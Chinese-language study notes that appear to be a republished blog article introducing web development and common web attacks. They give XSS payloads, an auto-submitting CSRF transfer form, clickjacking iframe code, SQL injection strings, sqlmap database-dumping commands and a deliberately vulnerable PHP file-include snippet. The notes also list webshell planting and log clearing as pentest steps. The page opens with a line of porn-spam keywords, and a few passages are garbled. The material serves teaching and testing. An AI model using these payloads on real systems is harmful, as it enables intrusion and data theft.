国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

學(xué)習(xí)web入門知識匯總

這篇具有很好參考價值的文章主要介紹了學(xué)習(xí)web入門知識匯總。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

01.WEB基礎(chǔ)知識

第一章 WEB簡介

  • web流程:輸入網(wǎng)站訪問網(wǎng)站之后向服務(wù)器發(fā)送請求,與數(shù)據(jù)庫交互后經(jīng)服務(wù)器返回請求結(jié)果,返回給用戶。

  • 瀏覽器工作原理:通過域名獲取web服務(wù)器IP地址(DNS解析);訪問web服務(wù)器。

  • web主要用到的技術(shù):html、javescript、css.

  • URL的詳細(xì)格式:schema://host[:port#]/path/…/[?querty-string] [#anchor]

schema是底層協(xié)議(http,https,ftp);host是服務(wù)器的域名或者IP地址;port是服務(wù)器端口(http默認(rèn)是80可以省略,其余的要指明);/path/是訪問資源的路徑;[?querty-string]是發(fā)給http服務(wù)器的數(shù)據(jù)

  • http報文主要分為請求行,頭部,數(shù)據(jù)體。
  • http請求—referer:告知服務(wù)器該請求的來源。用來防止盜鏈,防止csrf漏洞。
  • 返回碼200是正常返回,301/302是跳轉(zhuǎn)。

第二章 WEB開發(fā)基礎(chǔ)知識

HTML

  • HTML是超文本標(biāo)記語言,能加載JS、CSS、圖片連接等,是web網(wǎng)頁的基礎(chǔ)。

  • JS是為網(wǎng)頁添加動態(tài)功能,瀏覽效果更佳;CSS起到一個規(guī)整作用;HTML是構(gòu)成整個網(wǎng)頁的核心。

  • HTML主要分為HEAD和BODY,經(jīng)F12開發(fā)者工具欄查看;HTML源代碼以

    開始,以

    結(jié)束。
    DOM
  • HTML **DOM**是文檔對象結(jié)構(gòu),可將文檔轉(zhuǎn)換為樹結(jié)構(gòu),能更直觀的了解頁面元素。

  • 可通過javescript對HTML進(jìn)行任意操作。

注:HTML不區(qū)分大小寫。

<img src="
 http://study.163.com/res/images/logo4.png"
 width="500" height="100" />

以上是添加圖像的代碼

<a href=
"http://study.163.com/smartSpec/intro.htm">
點我訪問網(wǎng)易微專業(yè)</a>

以上是添加超鏈接的代碼

<form> ... </form>

以上代碼用于創(chuàng)建表單,常見的表單有登錄框等

<iframe src="
http://study.163.com/smartSpec/intro.htm"
frameborder="0" width="480" height="240"
></iframe>

以上是創(chuàng)建內(nèi)聯(lián)框架的代碼,可在網(wǎng)頁內(nèi)再添加一個頁面框

JAVASCRIPT

js可以在HTML的之間運行;可以在HTML的事件屬性中(onclick)運行;在瀏覽器的JavaScript中運行。

借用了c和Java的語法S

獲取HTML元素內(nèi)容的方法:(1)通過getElementById():通過id獲取元素;(2)通過.innerHTML:獲取元素內(nèi)容。

注:alert()可在JavaScript中表示彈出警告框,可以用來展示信息。

創(chuàng)建動態(tài)的HTML元素內(nèi)容用到document.write() 命令。Date()可用來獲取當(dāng)前時間。

修改HTML form元素內(nèi)容:(1)選定登錄框元素,找到id=urs-lg-form;(2)通過命令獲取元素內(nèi)容,并修改為一個HTML的iframe框架(用Console)。

讓頁面增加互動:當(dāng)我們點擊時,頁面內(nèi)容改變點擊時間<- ->onclick。

DOM(文本對象模型)

使用JavaScript訪問和操作HTML就是JavaScrip DOM的操作。

DOM本質(zhì)是連接web頁面和編程語言。

JavaScript+DOM 用于訪問和操作HTML文檔。

BOM(瀏覽器對象模型)

使用JavaScript獲取瀏覽器信息和操作瀏覽器就是JavaScript BOM。

BOM本質(zhì)是連接瀏覽器和編程語言。

常用的提示方式:警告彈窗alert(),確認(rèn)彈窗confirm(),提示彈窗prompt()。

注:常用于簡單的調(diào)試和信息展示,如XSS漏洞的測試。

cookie是服務(wù)器發(fā)放給用戶客戶端的一小段文本信息,當(dāng)作用戶憑證。

獲取用戶cookie方式:在控制臺(Console)中輸入document.cookie。 寫入cookie用到document.cookie=“寫入值”。

BOM的其他獲取和操作:獲取瀏覽器屏幕信息(window.)screen;獲取/控制用戶頁面URL(window.)location;獲取訪問者瀏覽器信息(window.)navigator;操作瀏覽器窗口:window.open,close();

web服務(wù)端

web服務(wù)端主要包括操作系統(tǒng),web服務(wù),解釋執(zhí)行環(huán)境,數(shù)據(jù)庫服務(wù)(MySQL)。

流行的架構(gòu)主要有Windows server的.NET,Linux的LAMP,UNIX/Windows的J2EE。

apache(web服務(wù))

localhost 可用本地主機(jī)訪問,127.0.0.1,本機(jī)IP,DNS服務(wù)器或者HOSTS文件。

設(shè)置hosts時,要以管理員身份打開記事本之后保存。也可以更改域名。

SQL(MySQL)

SQL語言是指結(jié)構(gòu)化查詢語言,是一門ANSI的標(biāo)準(zhǔn)計算機(jī)語言,用來訪問和操作數(shù)據(jù)庫。

數(shù)據(jù)庫包括SQL server,MySQL和Oracle。(語法大致相同)

創(chuàng)建數(shù)據(jù)庫指令:CRATE DATABASE websecurity;

查看數(shù)據(jù)庫:show datebase;

切換數(shù)據(jù)庫:USE websecurity;

刪除數(shù)據(jù)庫:DROP DATABASE websecurity;

注:SQL對大小寫不敏感,分號作為語句的結(jié)束。

CREATE TABLE teacher(
	id int (4)not null primary key auto_increment,
	name char(20) not null,
	sex char(10) not null,
	addr char(20) not null
);

以上是一個創(chuàng)建數(shù)據(jù)表的語句,int (4)表示整型四字節(jié),not null表示不是空值,primary key表示鍵值,auto_increment表示自增長。

查看數(shù)據(jù)表:show tables;

查詢數(shù)據(jù)表內(nèi)容:select * from teacher;

insert into teacher(name,sex,addr)
		values('Leo','Male','hangzhou')

以上是插入數(shù)據(jù)的命令。

更新數(shù)據(jù):update teacher set name =‘ivan’ where id =1;

刪除數(shù)據(jù):delete from teacher where name =‘ivan’';

注:“*”代表所有符合數(shù)據(jù)。

排序:select 信息 from 數(shù)據(jù)表 order by 字段; ASE/DESC(升序/降序)。升序為默認(rèn)可省略。

注:可使用order by “數(shù)字”來判斷數(shù)據(jù)表的字段長度

合并數(shù)據(jù)表:select 信息 from 表1 union select 信息 from 表2;(union all可以顯示所有數(shù)據(jù),包含重復(fù)數(shù)據(jù))

MySQL注釋:#… , --… , /* … */(SQL注釋能夠繞過注入)

常見的內(nèi)置函數(shù):selec database()打印當(dāng)前數(shù)據(jù)庫名稱;selec current_user打印當(dāng)前用戶;load_file()返回當(dāng)前的內(nèi)容;version();into+outfile 寫入文件。利于用SQL注入漏洞獲取信息。

PHP

PHP稱作超文本預(yù)處理器,是一種使用廣泛的開源的腳本語言,常用于網(wǎng)頁開發(fā),PHP腳本在服務(wù)器上執(zhí)行。

PHP可放在文檔中的任何位置,// #代表單行注釋,/* */代表多行注釋。

PHP的兩種重要的語句echo和print。echo無返回,可以一次輸出多個;print有返回值。

注:串接:.(點) 函數(shù):function 函數(shù)名() 變量:$變量名(變量大小寫敏感)。

PHP代碼由基礎(chǔ)語法,語句,變量和函數(shù)構(gòu)成。

$_POST和 G E T 都可以接受傳值,但要相對應(yīng)。而 _GET都可以接受傳值,但要相對應(yīng)。而 G?ET都可以接受傳值,但要相對應(yīng)。而_REQUEST可以接受GET和POST兩者的傳值。

文件上傳主要用到的是$_FILES,通過HTTP POST的方法。 S E R V E R 用于獲取網(wǎng)頁的一些信息。還有變量例如: _SERVER用于獲取網(wǎng)頁的一些信息。還有變量例如: S?ERVER用于獲取網(wǎng)頁的一些信息。還有變量例如:GLOBALS、 E N V 、 _ENV、 E?NV、 _REQUEAT、$ _COOKIE、$ _SESSION等

 include 'upload_file.php';

以上是在網(wǎng)頁中插入文件的代碼(文件包含)。包含文件可用include/require實現(xiàn)。include:出現(xiàn)錯誤腳本繼續(xù)執(zhí)行;require:出現(xiàn)錯誤腳本停止執(zhí)行。

PHP的連接和操作數(shù)據(jù)庫:

(1)連接MySQL服務(wù)

$con=mysql_connect("locaalhost",'root','root');

(2)設(shè)定編碼

mysql_query("SET NAMES UTF8");

(3)選擇數(shù)據(jù)庫

mysql_select_db("websecurity",$con);

(4)操作數(shù)據(jù)庫

mysql_query("SELECT * FROM teacher");

(5)關(guān)閉連接

mysql_close($con);

以上操作數(shù)據(jù)庫方法叫MYSQL擴(kuò)展。還有MYSQLi擴(kuò)展和PDO擴(kuò)展(PHP Data Objects),方法類似。

搭建web漏洞演示環(huán)境demo版:數(shù)據(jù)庫導(dǎo)入MYSQL;demo源碼導(dǎo)入;配置數(shù)據(jù)庫文件。

通過MYSQL命令符導(dǎo)出數(shù)據(jù)庫:“被導(dǎo)出文件路徑 -u root -p websecurity > 文件要導(dǎo)出的位置”。

通過MYSQL命令符導(dǎo)入數(shù)據(jù)庫:”source 文件名“。

一般情況下網(wǎng)頁是指向首頁的,首頁的名稱一般是index.php、default.php。

02.web安全基礎(chǔ)

常見的安全事件

(1)釣魚

具有誘惑性標(biāo)題,仿冒真實網(wǎng)站,騙取用戶賬號,騙取用戶資料。通常使用郵件發(fā)送鏈接的形式。

(2)網(wǎng)頁篡改

被黑客入侵后進(jìn)行網(wǎng)頁的篡改,百度輸入"intitle:hack by"可搜出被黑了的網(wǎng)站。搜索關(guān)鍵字:Hacked by

搜索引擎語法:Intitle:keyword 標(biāo)題中含有關(guān)鍵詞的網(wǎng)頁;Intext:keyword 正文中含有關(guān)鍵詞的網(wǎng)頁;Site:domain在某個域名和子域名下的網(wǎng)頁。

(3)暗鏈

主要是攻破網(wǎng)站后將一些第三方鏈接植入到網(wǎng)頁中。百度搜索"Intext www.saginn.com"有相關(guān)網(wǎng)站。主要是為了將某些網(wǎng)站排在搜索引擎的前列。暗鏈?zhǔn)侵饕陌踩[患!

暗鏈?zhǔn)请[藏在網(wǎng)站中的鏈接;暗鏈不是為正常用戶所準(zhǔn)備的,是為搜索引擎的爬蟲機(jī)器人準(zhǔn)備的,主要是為了提高排名,一般是網(wǎng)游醫(yī)療博彩。

(4)Webshell(主)

攻破網(wǎng)站后留有后門的一種技術(shù),相當(dāng)于web傳送門,可隨時回到被入侵的網(wǎng)站中。分為大碼和小碼,大碼復(fù)雜功能全,小碼簡介功能簡單。Webshell相當(dāng)于上傳了一個后門。功能非常強(qiáng)大,存在形式豐富,主要為asp/php/jsp/cji。通常以瀏覽器訪問后門,很難發(fā)現(xiàn)。

Web安全(簡略)

主要分為客戶端安全和服務(wù)器安全。

客戶端安全

主要有XSS(跨站腳本注入)、CSRF(跨站請求偽造)、點擊劫持、URL跳轉(zhuǎn)

服務(wù)器安全

主要有SQL注入、命令注入、文件操作

XSS

全稱:Cross Site Script(跨站腳本)客戶端安全的頭號大敵

危害:盜取用戶信息、篡改頁面釣魚、制造XSS蠕蟲

概念:黑客通過"HTML注入"篡改網(wǎng)頁,插入了惡意腳本,當(dāng)用戶瀏覽網(wǎng)頁時,實現(xiàn)控制用戶瀏覽器行為的一種攻擊方式。

XSS主要是盜取用戶的COOKIE。

XSS主要分為存儲型,反射型,DOM型

XSS是因為某圖片等加載失敗從而觸發(fā)的XSS。

存儲型

一般是通過訪問網(wǎng)站的形式被觸發(fā),一般通過彈窗提醒用戶XSS被觸發(fā)??赏ㄟ^火狐的Firebug查看。

存儲型可以通過F12/firebug查看源代碼了解。

過程:黑客構(gòu)造含XSS腳本的內(nèi)容,提交給web應(yīng)用程序,wen將含XSS的內(nèi)容寫入數(shù)據(jù)庫中,當(dāng)用戶訪問web網(wǎng)站時,數(shù)據(jù)庫將含XSS的內(nèi)容返回給了用戶。

植入方式:在某網(wǎng)站留言版中留言即可植入

hello<img src=a onerror=alter(/xss/)>

反射型

一般是用戶主動訪問攜帶XSS腳本的鏈接從而觸發(fā)的XSS。主要是通過惡意鏈接。

與存儲型XSS不同的是,反射型可以在URL中發(fā)現(xiàn)明顯的XSS特征,例如:"< img src =@ cοnerrοr=alter(/xss/) > "

和存儲型相同,可以通過F12查找其源代碼。

原理:通過request獲取參數(shù)后,直接echo輸出到客戶端導(dǎo)致XSS。

與存儲型不同的是,反射型只需要一步,而存儲型需要黑客將XSS鏈接植入網(wǎng)站中。

植入方式舉例:在正常網(wǎng)頁URL后方添加代碼

<img src=a onerror=alter(/xss/)>

DOM型

與反射型相同,需要用戶主動訪問攜帶XSS腳本的鏈接才能觸發(fā)XSS。

本質(zhì)是通過JavaScript觸發(fā)的!

查找DOM可用Firebug查看源代碼,再通過搜索關(guān)鍵字hash找到代碼。使用單純的F12查看源代碼找不到DOM型XSS。

過程:用戶訪問含XSS的腳本鏈接,瀏覽器通過JavaScript解析URL內(nèi)容并輸出到DOM中。

DOM主要是通過前端JavaScript將XSS腳本寫入DOM中;反射型主要是用后端應(yīng)用程序?qū)SS寫入頁面中,通過渲染觸發(fā)XSS。

哈希hash代表的分隔符:#

植入方式:也是通過在URL之后添加XSS代碼。

<img src=a onerror=alter(/xss/)>

總結(jié)

存儲型XSS的觸發(fā)過程為兩步:黑客構(gòu)造XSS腳本;正常用戶訪問攜帶腳本的頁面。反射型和DOM型過程為正常用戶訪問攜帶XSS腳本的URL。

存儲型的數(shù)據(jù)存儲實在數(shù)據(jù)庫中,反射型和DOM型是以URL型式。

存儲型和反射型的輸出是后端web應(yīng)用程序,輸出位置為HTTP響應(yīng)中。DOM型是前端JavaScript來輸出,由動態(tài)構(gòu)造的DOM節(jié)點輸出。

CSRF

全稱為Cross-site request forgery(跨站請求偽造)。

危害:執(zhí)行惡意操作(“被轉(zhuǎn)帳”、“被發(fā)垃圾評論”等);制造蠕蟲……

概念:利用用戶一登陸的身份,在用戶毫不知情的情況下以用戶的名義完成非法操作。

構(gòu)造攻擊代碼:

<body onload="submitForm();"> //自動提交表單
	<div class="tip">加載中,請稍后...</div>
	<form id="transferForm"
		action="http://127.0.0.1:8080/demo/csrf/transfer.php"http://轉(zhuǎn)賬地址
		method="post">
		<input type="hidden" name="toUser" value="黑客" /> //轉(zhuǎn)賬信息
		<input type="hidden" name="amount" value="10" />  //轉(zhuǎn)賬信息
	</form>
</body>
<script>
	function submitForm() {
		document.getElementById("transferForm").submit();
	}	//提交表單
</script>

通過此代碼自動完成轉(zhuǎn)賬。

可通過“view source+原URL”查看源代碼,可發(fā)現(xiàn)黑客通過iframe嵌入轉(zhuǎn)賬鏈接,且高度寬度都設(shè)置為0讓用戶無法發(fā)現(xiàn)。iframe能讓用戶只看到外層網(wǎng)頁,看不到自動的頁面跳轉(zhuǎn)。

點擊劫持

點擊劫持又被稱作“UI-覆蓋攻擊”,即在網(wǎng)站上面覆蓋網(wǎng)站,達(dá)到欺騙用戶操作的目的。利用的方法有iframe/flash或者其他標(biāo)簽的屬性。

補(bǔ):利用iframe可以創(chuàng)建包含另外一個文檔的內(nèi)聯(lián)框架。

讓兩個網(wǎng)站看起來外層一樣的方法:(主要利用iframe)

<head>
<title>xxx</title>
<style>
	html.body/iframe{
		display:block;	(1)用來設(shè)置元素的顯示方式。block以區(qū)塊方式顯示
		height:100%;	(3)高度寬度100%是為了讓其占滿整個瀏覽器
		width:100%;
		margin:0;		(4)讓間距為0
		padding:0;
		border:none;	(2)none用來隱藏元素,border用來隱藏邊框。
	}
</style>
</head>
	<body>
		<iframe src="http://aq.163.com/module/hole/hole-submit.html"></iframe>
	</body>

注:可以通過調(diào)整網(wǎng)頁的可見度來發(fā)現(xiàn)內(nèi)層被嵌套著的網(wǎng)頁

點擊劫持特點:隱蔽性較高,主要是為了騙取用戶操作,對指定網(wǎng)站進(jìn)行操作*****

修改被覆蓋網(wǎng)頁的可見度代碼**:

//在上方代碼的style內(nèi)再添加一部分
iframe{
	opaoity:0;	// opaoity和filter屬性只要將值設(shè)置為零就能使頁面實現(xiàn)隱藏?。?!
	filter:alpha(opacity=30); /* IE */ //(30)值越大越清晰
	-moz-opacity:0.3; /*Moz + ff */	//(0.3)值越大越清晰
	opacity:0.3; /* 支持CSS3的瀏覽器 (FF1.5也支持) */	//(0.3)值越大越清晰
	position:absolute;
	z-index:2;
}

調(diào)整圖片位置的代碼:

//在上方代碼的style內(nèi)再添加一部分
button{
	position:absoute;
	top:-5px;	//頁面上邊距
	left:875px;	//頁面左邊距
	z-index:1;	//!元素垂直顯示順序,值變大,圖片感覺距離更近!
	width:72px;
	height:26px;
}

URL跳轉(zhuǎn)

攻擊者通常利用一些可信網(wǎng)站與不可信網(wǎng)站結(jié)合在一起,去混淆用戶例如:http://mail.qq.com/cgi-bin/mial_spam?action=check_link&spam=0&url=http://jtvx518.cc等后綴被附加上的url跳轉(zhuǎn)的網(wǎng)站”goto=http://jtvx518.cc“;“jumpUrl=http://”;“act=go&url=”等。

URL跳轉(zhuǎn)的實現(xiàn)方式:Header頭跳轉(zhuǎn);JavaScript跳轉(zhuǎn);META標(biāo)簽跳轉(zhuǎn)。

Header頭跳轉(zhuǎn)

(1)獲取鏈接

$url = $ REQUEST{"url"}; //獲取用戶請求鏈接

(2)Header方法頁面跳轉(zhuǎn)

header{"Location:$url"}; //跳轉(zhuǎn)到指定url

JavaScript跳轉(zhuǎn)

(1)通過js腳本獲取參數(shù)值

var site = getQueryString("site")	//獲取用戶請求鏈接

(2)js頁面跳轉(zhuǎn)

window.location.href=site; //跳轉(zhuǎn)到鏈接地址

META跳轉(zhuǎn)

(1)獲取鏈接

$url = $_REQUEST{"url"}; //獲取用戶請求鏈接

(2)META實現(xiàn)跳轉(zhuǎn)

<meta http-equiv="Refresh" content="5: url=<?php echo $url?>" />	//跳轉(zhuǎn)到鏈接地址,content=5是設(shè)置跳轉(zhuǎn)延遲,5秒后實行頁面跳轉(zhuǎn)

實現(xiàn)過程:

黑客構(gòu)造并發(fā)送惡意鏈接,用戶訪問后,被引導(dǎo)進(jìn)入惡意網(wǎng)站,用戶錯以為使官方網(wǎng)站,會進(jìn)行一些操作,導(dǎo)致信息泄露。

URL跳轉(zhuǎn)的型式:http://www.xxx.com?url=www.evil.com

SQL注入

全稱 SQL Injection,是一種常見的Web安全漏洞,攻擊者利用這個漏洞,可以訪問或修改數(shù)據(jù),或者利用潛在的數(shù)據(jù)庫漏洞進(jìn)行攻擊。

萬能密碼:”admin‘ – “(注意空格)

正常登錄方式:(1)POST請求進(jìn)行登錄

$username = $_POST['username'];
$password = MD5($_POST['password']);

(2)請求參數(shù)

(3)參數(shù)帶入代碼(拼接到代碼中)

$check_query = mysql_query("select name from teacher where name=''$username'and password='$password'limit 1");

(4)驗證查詢結(jié)果

(5)根據(jù)返回結(jié)果判斷是否登錄成功。

萬能代碼起到了閉合,注釋的作用。將代碼改成了select name from teacher where name=‘a(chǎn)dmin’。

一次SQL注入的過程:1.獲取用戶請求參數(shù) 2.拼接到代碼中 3.SQL語句按照我們構(gòu)造參數(shù)的語義執(zhí)行成功

SQL注入的必要條件:1.可以控制輸入的數(shù)據(jù) ;

? 2.**服務(wù)器要執(zhí)行的代碼拼接了控制的數(shù)據(jù)。

SQL注入的本質(zhì):數(shù)據(jù)和代碼未分離,即數(shù)據(jù)當(dāng)作了代碼來執(zhí)行。

利用腳本獲取系統(tǒng)版本:username=admin’ and1=2 union version() –

獲取當(dāng)前數(shù)據(jù)庫用戶:username=admin’ and1=2 union select user() –

SQL注入危害:

(1)獲取數(shù)據(jù)庫信息:管理員后臺用戶名和密碼;獲取其他數(shù)據(jù)庫敏感信息:用戶名、密碼、手機(jī)號碼、身份證、銀行卡信息等;下載整個數(shù)據(jù)庫(脫褲)

(2)獲取服務(wù)器權(quán)限

(3)植入Webshell,獲取服務(wù)器后門

(4)讀取服務(wù)器敏感文件

(5)萬能密碼等

命令注入

DOS命令打開方式:win+r 文件路徑:C:\ \Windows\system32\cmd.exe

DOS命令功能:

(1)查看本地網(wǎng)絡(luò) “ipconfig”

(2)查看系統(tǒng)用戶 “net user”

(3)查看當(dāng)前目錄 “ dir"./" ”

(4)字符串查找 “find “hello” ./test.txt”(查找含hello的文本)

(5)復(fù)合命令 echo hello & echo world(命令拼接&,依次執(zhí)行拼接的命令);ipconfig | find “IPv4”(在IP中查找IPv4的地址)(管道符|,前面命令的輸出作為后面命令的輸入)

命令注入的必要條件:(1)調(diào)用可執(zhí)行系統(tǒng)命令的函數(shù)(2)函數(shù)或函數(shù)的參數(shù)可控(例如URL、破損參數(shù)、cookie等)(3)可控參數(shù)能有效地拼接注入命令

web中能夠執(zhí)行系統(tǒng)命令的函數(shù):

PHP:system、exec、shell_exec、eval等

'curl-I"' . $url .'"';	//""是將url括住,起到分隔符的作用。

以上代碼使請求url并返回url的響應(yīng)頭。

過程:黑客將構(gòu)造的命令輸入給web應(yīng)用程序,然后進(jìn)行拼接命令,使web執(zhí)行注入的命令,然后將結(jié)果返回給黑客。

注:URL中&符號轉(zhuǎn)化為%26!

文件操作漏洞

常見的文件操作:

(1)文件上傳:上傳頭像,上傳附件

(2)文件下載:下載應(yīng)用,下載附件

利用文件操作漏洞可以:(1)文件上傳:上傳webshell,上傳木馬

(2)文件下載:下載系統(tǒng)任意文件,下載程序代碼

常見的文件操作漏洞:文件上傳漏洞,任意文件下載,文件包含漏洞

文件上傳

正常功能,互聯(lián)網(wǎng)產(chǎn)品不可或缺,如上傳頭像,上傳附件

若文件處理不當(dāng),能上傳可執(zhí)行腳本,木馬文件。如webshell,木馬exe

(1)構(gòu)造惡意文件:編寫php代碼并上傳文件

<?php
	phpinfo();
?>

(2)惡意上傳

(3)獲取文件地址。將鼠標(biāo)放到加載失敗的圖片上右鍵查看地址

(4)訪問上傳文件。被當(dāng)成php執(zhí)行,說明存在漏洞

文件上傳漏洞的條件:(1)可以上傳可執(zhí)行腳本(2)腳本擁有執(zhí)行權(quán)限

任意文件下載

正常功能,互聯(lián)網(wǎng)產(chǎn)品不可或缺,如下載APP,下載附件

若文件處理不當(dāng),能夠下載服務(wù)器當(dāng)中任意文件如:oho/aspx/jsp文件

觀察URL可總結(jié)出文件下載的方式,通過改變URL的內(nèi)容實現(xiàn)下載

危害:導(dǎo)致代碼泄露

文件處理不當(dāng):(1)未驗證下載文件格式(2)未限制請求的路徑

文件包含漏洞

正常功能:節(jié)約代碼量,讓程序美觀。如:重復(fù)代碼寫入一個文件。

若文件處理不當(dāng),用戶能上傳惡意文件或者遠(yuǎn)程文件,如:jpg/txt/php文件

分為本地文件包含和遠(yuǎn)程文件包含。

本地文件包含主要是包含本地服務(wù)器的文件;遠(yuǎn)程文件包含是包含遠(yuǎn)程服務(wù)器的文件,通過發(fā)送HTTP請求來引用遠(yuǎn)程文件。

文件包含過程:(1)通過get獲取文件地址(2)通過include包含文件

<?php
	if(isset($_GET['name'])){
		$filename = $_GET['name'];
		include($filename);
	}else{
		echo"Error.";
	}
?>

測試注意事項:

allow_url_fopen = On(是否允許打開遠(yuǎn)程文件)

allow_url_include = On(是否允許包含遠(yuǎn)程文件)

否則容易導(dǎo)致測試失敗。

03 WEB安全工具

Web站點滲透測試基本步驟:A.信息搜集

IP、物理地址、CND、服務(wù)器信息、whois信息、旁站及二級域名、CMS類型等

B.漏洞探測及利用:敏感信息泄露、SQL注入、后臺弱口令、文件上傳、XSS、各種Web應(yīng)用漏洞等

C.植入后門及權(quán)限提升、內(nèi)網(wǎng)滲透:

Webshell植入、提權(quán)、用戶添加、內(nèi)網(wǎng)滲透

D.痕跡清理:

清理服務(wù)器訪問日志、操作系統(tǒng)日志等

如何黑掉一個網(wǎng)站?

發(fā)現(xiàn)漏洞驗證漏洞、利用漏洞、獲取權(quán)限

如何保護(hù)一個網(wǎng)站?

發(fā)現(xiàn)漏洞、驗證漏洞、思考原理和成因、對癥下藥修復(fù)漏洞

代理工具的介紹

常用的HTTP代理抓包工具

Burp suite、Charles、Fiddler

Burp suite

主要功能:代理配置與抓包(Proxy)、數(shù)據(jù)包重放(Repeater)、編解碼(Decoder)

基于JAVA環(huán)境,跨平臺;功能強(qiáng)大,除了代理抓包還有豐富的安全測試功能。

Charles

基于Java環(huán)境,跨平臺;代理抓包 功能細(xì)致,操作簡單。(功能比bp單一)

Fiddler

Windows下運行;提供免費的個人版本。 功能較豐富。

firefox中的常用插件

Firebug

為Firefox瀏覽器提供了更加豐富的開發(fā)者工具箱,可通過F12或者右上角工具欄或鼠標(biāo)右鍵菜單打開(網(wǎng)絡(luò)與審查頁面元素)

HackBar

為Firefox瀏覽器提供快速構(gòu)造HTTP請求及多種編碼變換的功能??赏ㄟ^在瀏覽器上方的空白處鼠標(biāo)右鍵打開(構(gòu)造數(shù)據(jù)包)

界面當(dāng)中的主要功能:可以在INT處選擇進(jìn)制;

提供SQL、XSS等多種變換算法;

通過load URL可以復(fù)制當(dāng)前瀏覽器地址欄URL;

通過split URL分離URL中的參數(shù);

post data構(gòu)造POST方式的參數(shù);

Referrer構(gòu)造HTTP數(shù)據(jù)包的Referrer字段;(可以通過設(shè)置referrer來防御CSRF,嘗試?yán)@過)

Advanced Cookie Manager

編輯cookie類插件為Firefox瀏覽器提供快速修改、增加、刪除cookie的功能。(修改cookie值)

使用步驟:(1)選擇目標(biāo)站點(2)選擇cookie某字段(3)修改、復(fù)制、刪除、增加cookie字段

Proxy Switcher

可以方便的進(jìn)行代理服務(wù)器的配置和切換

敏感文件探測

Python語言上手簡單,Web功能強(qiáng)大,有很多Python語言開發(fā)的Web安全工具

常見的敏感文件類型:網(wǎng)站管理后臺,數(shù)據(jù)文件,備份文件,Webshell

敏感文件探測原理:猜測文件名,根據(jù)返回的HTTP狀態(tài)碼判斷文件是否存在。

200:文件存在;301:文件發(fā)生跳轉(zhuǎn);404:文件不存在

字典選擇(參考):ASP.txt、DIR.txt、MDB.txt、PHP.txt

如何判斷常見網(wǎng)站腳本類型?

(ASP、PHP、ASPX、JSP等)

一個簡單的辦法:判斷index的文件類型。查看:index.asp、index.php、index.aspx、index.jsp等是否存在。(在URL中輸入各種類型看是否顯示)

掃描網(wǎng)站如何生成針對性的字典?

舉例:以構(gòu)造針對性的備份文件字典為例

目標(biāo)站點:http://testphp.vulnweb.com

可能存在的備份文件名:testphpvulnwebcom.rar(域名連在一起) ;

vulnweb.com.rar (域名后半段);

TESTPHP.VULNWEB.COM.rar(整個域名大寫)等

漏洞掃描工具(略)

綜合性Web漏洞掃描器:AWVS , Netsparker ,AppScan

AWVS為例:

功能:一專多能,除了核心的站點漏掃,還有站點爬蟲,RP段的基本探測,子域名的探測。

問題1:使用漏掃工具需要明確的問題:1.對目標(biāo)站點的誤傷,如:高流量、請求了危險功能(刪除數(shù)據(jù)庫等)AWVS在運行中容易產(chǎn)生較高流量和并發(fā)連接數(shù),若目標(biāo)服務(wù)器脆弱,容易造成宕機(jī);若目標(biāo)服務(wù)器有刪除數(shù)據(jù)庫功能,而漏掃時正好請求了該功能,容易造成誤刪數(shù)據(jù)庫。

2.漏掃的盲區(qū):邏輯漏洞(如:訂單金額數(shù)據(jù)篡改漏洞)。

問題2:漏洞評級問題(技術(shù)角度+業(yè)務(wù)角度)

問題3:漏掃結(jié)果的解讀和運用:

1.測試用例可能需要調(diào)整

2.誤報與漏報

3.將掃描結(jié)果作為人工測試的線索

SQL注入漏洞

SQL注入的成因是因為服務(wù)器要執(zhí)行的數(shù)據(jù)庫代碼拼接了用戶輸入的數(shù)據(jù)。SQL注入漏洞的典型危害是可以被用來獲取數(shù)據(jù)庫敏感數(shù)據(jù)(拖庫)

如何方便的檢測和利用注入漏洞?

可以利用sqlmap,sqlmap基于python2.7環(huán)境下(16年)。

SQL注入工具:啊D、明孝字、Pangolin(穿山甲)、Havij(胡蘿卜)等

命令行工具:(1)只需關(guān)注輸入和輸出;

(2)看到流程化的執(zhí)行細(xì)節(jié)。

sqlmap是一款開源的SQL注入漏洞檢測與利用神器。

發(fā)現(xiàn)和利用SQL注入漏洞基本流程:

1.找到有數(shù)據(jù)庫交互的功能頁面

testphp.vulnweb.com/artists.php?artist=1		//有明顯的問號

2.判斷頁面是否存在SQL注入(在像以上的URL后面加一個英文的’ ,數(shù)據(jù)庫報錯則可判斷存在SQL注入漏洞)

3.利用SQL注入漏洞讀取數(shù)據(jù)

4.導(dǎo)出數(shù)據(jù)保存。

sqlmap特點:1)支持?jǐn)?shù)據(jù)庫廣泛

2)支持的參數(shù)位置,如:GET、POST、COOKIE、HTTP header。

(利用sqlmap可以完成以上流程)

SQLmap的一些常用命令(get注入)
python sqlmap.py -u "url" //可以利用該命令判斷URL類型及其他詳情

注:出現(xiàn) vulnerable 表明前面的參數(shù)存在注入!

python sqlmap.py -u "url" --users //查看所有用戶

python sqlmap.py -u "url" --dbs //查看有哪些數(shù)據(jù)庫

python sqlmap.py -u "url" --current-user --current-db

當(dāng)目標(biāo)用戶和數(shù)據(jù)庫過多時,可用上方命令查看當(dāng)前用戶和當(dāng)前數(shù)據(jù)庫

python sqlmap.py -u "url" --tables -D "數(shù)據(jù)庫名" //讀取目標(biāo)數(shù)據(jù)庫表信息

python sqlmap.py -u "url" --columns -T "列名" -D "數(shù)據(jù)庫名"http://讀取數(shù)據(jù)庫列信息

python sqlmap.py -u "url" --count -T "列名" -D "數(shù)據(jù)庫名" //查看該表有多少條數(shù)據(jù)

python sqlmap.py -u "url" --dump -T "列名" -D "數(shù)據(jù)庫名" //讀取表中數(shù)據(jù)(保存在DUMP文件夾下)

python sqlmap.py -u "url" --dump -T "列名" -D "數(shù)據(jù)庫名" --start 2 --stop 3	//若有多條數(shù)據(jù),可用start、stop規(guī)定讀取范圍

python sqlmap.py -u "url" --dump-all -D "數(shù)據(jù)庫名" //下載整個數(shù)據(jù)庫中的數(shù)據(jù)

對于POST注入的注入如何判斷?

1)可用抓包工具將post抓包保存下來,放到sqlmap文件夾下

python sqlmap.py -r "post文件名稱" //*可用來讀取本地的數(shù)據(jù)包文件*

2)

python sqlmap.py -u "目標(biāo)站點URL" --data-"參數(shù)樣例" 
//參數(shù)例如(pass=good&uname=1)

Web在線工具

搜索引擎語法

